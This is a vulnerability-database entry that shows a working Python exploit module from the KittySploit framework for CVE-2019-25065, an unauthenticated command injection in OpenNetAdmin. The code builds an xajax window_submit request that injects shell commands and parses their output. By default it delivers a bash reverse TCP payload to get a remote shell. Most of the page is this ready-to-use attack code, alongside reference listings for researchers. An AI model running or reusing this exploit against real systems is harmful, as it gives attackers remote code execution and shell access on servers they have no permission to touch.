Lucene search
+L

OpenNetAdmin CVE-2019-25065 xajax RCE

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 8 Views

Unauthenticated command injection in OpenNetAdmin via xajaxargs[] in window_submit requests.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-25065
21 Feb 202014:58
–circl
cnnvd
CNNVD
OpenNetAdmin operating system command injection vulnerability
9 Jun 202200:00
–cnnvd
cve
CVE
CVE-2019-25065
9 Jun 202213:10
–cve
cvelist
Cvelist
CVE-2019-25065 OpenNetAdmin os command injection
9 Jun 202213:10
–cvelist
euvd
EUVD
EUVD-2019-11510
7 Oct 202500:30
–euvd
kitploit
Kitploit
CVE-2019-25065-exploit
26 Oct 202608:47
–kitploit
kitploit
Kitploit
CVE-2019-25065-poc
27 Oct 202607:35
–kitploit
kittysploit
KittySploit
OpenNetAdmin CVE-2019-25065 Detect
26 Oct 202617:01
–kittysploit
metasploit
Metasploit
OpenNetAdmin Ping Command Injection
19 Nov 201900:00
–metasploit
nvd
NVD
CVE-2019-25065
9 Jun 202217:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OpenNetAdmin CVE-2019-25065 unauthenticated xajax command injection."""

from __future__ import annotations

import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "OpenNetAdmin CVE-2019-25065 xajax RCE",
        "description": (
            "CVE-2019-25065 (OpenNetAdmin <= 18.1.1): unauthenticated command "
            "injection via xajaxargs[] in window_submit requests."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2019-25065"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2019-25065",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["opennetadmin", "ona", "rce", "unauth", "cve-2019-25065"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "chain": {"suggested_followups": ["scanner/http/opennetadmin_cve_2019_25065_detect"]},
        },
    }

    ona_path = OptString("/ona/", "OpenNetAdmin base path", required=False)

    def _endpoint(self) -> str:
        p = str(self.ona_path or "/ona/").strip()
        if not p.endswith("/"):
            p += "/"
        return p if p.startswith("/") else f"/{p}"

    def execute(self, cmd: str) -> str:
        ts = int(time.time() * 1000)
        inj = f'ip=>;echo "BEGIN";{cmd};echo "END"'
        body = (
            f"xajax=window_submit&xajaxr={ts}"
            "&xajaxargs[]=tooltips"
            f"&xajaxargs[]={inj}"
            "&xajaxargs[]=ping"
        )
        resp = self.http_request(
            "POST",
            self._endpoint(),
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )
        html = (resp.text or "") if resp else ""
        match = re.search(r"BEGIN\s*(.*?)\s*END", html, re.S)
        return match.group(1).strip() if match else ""

    def check(self):
        body = self.execute("echo ONA25065")
        if "ONA25065" in body:
            return {"vulnerable": True, "reason": "xajax injection confirmed", "confidence": "high"}
        return {"vulnerable": False, "reason": "No command output in xajax response", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I):
            print_error("OpenNetAdmin injection failed")
            self.not_vulnerable()
            return False

        print_status("CVE-2019-25065 — OpenNetAdmin xajax RCE")
        out = self.execute(shell)
        if out:
            print_info(out[:4000])

        if str(self.shell_from_payload() or "").strip():
            return True
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2026 13:35Current
8.7High risk
Vulners AI Score8.7
CVSS 27.5
CVSS 3.16.3 - 9.8
EPSS0.06508
SSVC
8